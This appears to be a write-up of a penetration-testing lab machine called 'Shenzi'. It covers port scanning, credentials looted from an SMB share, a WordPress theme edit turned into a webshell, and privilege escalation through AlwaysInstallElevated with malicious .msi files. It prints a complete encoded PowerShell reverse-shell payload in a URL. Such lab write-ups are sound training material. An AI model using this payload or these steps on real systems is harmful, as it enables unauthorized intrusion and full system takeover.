Nmap

PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           FileZilla ftpd 0.9.41 beta
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
80/tcp   open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-title: Welcome to XAMPP
|_Requested resource was http://192.168.175.55/dashboard/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 56F7C04657931F2D0B79371B2D6E9820
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: Welcome to XAMPP
|_Requested resource was https://192.168.175.55/dashboard/
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:     a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
| SHA-1:   b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
|_SHA-256: 0169 7338 0c0f 1df0 0bd9 593e d8d5 efa3 706c d6df 7993 f614 1272 b805 22ac dd23
445/tcp  open  microsoft-ds?
3306/tcp open  mysql         MariaDB 10.3.24 or later (unauthorized)
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
5040/tcp  open  unknown
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown

Enumeration

PortServiceComment
21FTPNo anonymous access
80/443HTTP/HTTPSxampp 7.4.6 welcome page. Gobuster finds nil.
135RPCWill revisit if necessary
139/445SMBNull session enabled, can get files but not put
3306MySQLUseful later?

We grab everything from the SMB share:

Pouring through the lo0t

First we check passwords.txt, how could we not? We’ve got goodies.

So we’ve got:

  • MySQL: root:<no pass>
  • Mercury: newuser:wampp
  • WordPress: admin:FeltHeadwallWight357

We find another credential in the readme_en.txt file:

Also a note on the services:

why.tmp looks like a message or email with reference to a folder that PHP needs to function:

Not sure what sess_klk75u2q4rpgfjs3785h6hpipp is showing us…

xampp-control.ini is a config file for xampp.

Info

**`xampp-control.ini` is the local configuration file used by the XAMPP Control Panel application** on Windows systems. It is located natively in the main installation directory (typically C:\xampp\xampp-control.ini) and records visual properties, language settings, and module autostart options selected in the interface.

^ It looks like only Apache and MySQL are active (set to 1)

Not able to log in to MySQL at the moment.

Tried to go to /phpmyadmin on port 80 but we are forbidden - only access is local.

We are, however, able to look at phpinfo.

We get the version:

Document root:

System Info & Architecture:

PATH:

Also the session save path that that message was referencing:

Dangerous PHP Configuration Directives (`php.ini`)
 
disable_functions: Check which dangerous system execution functions (like exec, shell_exec, system, passthru) are blocked. This tells you what primitives are available if you achieve code execution.
 
allow_url_fopen & allow_url_include: If enabled (On), these permit Remote File Inclusion (RFI) and URL-based file reading.
 
open_basedir: If set, it restricts file operations to a specific directory tree; if no value or empty, directory traversal limits are weaker.
 
file_uploads & upload_tmp_dir: If file uploads are enabled, the temporary directory path (upload_tmp_dir) is crucial for LFI-to-RCE via phpinfo() attacks. (https://www.thehacker.recipes/web/inputs/file-inclusion/lfi-to-rce/phpinfo)
 
display_errors & display_startup_errors: If On, verbose application errors will print to the screen.

Also checked the Environment section. There were no passwords in this case, but often this section will be misconfigured and include these.

allow_url_fopen is on, let’s keep that in our back pocket.

So what now? We have Wordpress credentials but no Wordpress site. Eventually, I discover that /shenzi takes us to the Wordpress site we’ve been looking for.

Logging in:

Exploitation

We can edit a theme page to get a webshell that we can then use to get a reverse shell.

We save and then go to the page here:

http://192.168.175.55/shenzi/wp-content/themes/twenty-twenty/404.php?cmd=whoami

Now lets open a listener and give our webshell a reverse shell payload. The one that worked first was a base64 encoded powershell command.

http://192.168.175.55/shenzi/wp-content/themes/twenty-twenty/404.php?cmd=powershell%20-e%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADQANQAuADIAMgAxACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA%2BACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA%2BACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA%3D

Privilege Escalation

We run winPEAS.

Found an XboxLive credential, but couldnt decode it.

This also sticks out. AlwaysInstallElevated makes it so that any .msi file that is installed is done as Administrator. We probably can create a malicious .msi, transfer it over, and get nt/authority.

Making the malicious .msi:

We transfer it over and install.

msiexec /quiet /qn /i C:\Users\shenzi\Desktop\alwe.msi

This did not work as my penelope shell wouldn’t accept input for the password when I tried a runas command. So let’s try a reverse shell.

msiexec /quiet /qn /i C:\Users\shenzi\Desktop\shell.msi

🌟 !Done! 🌟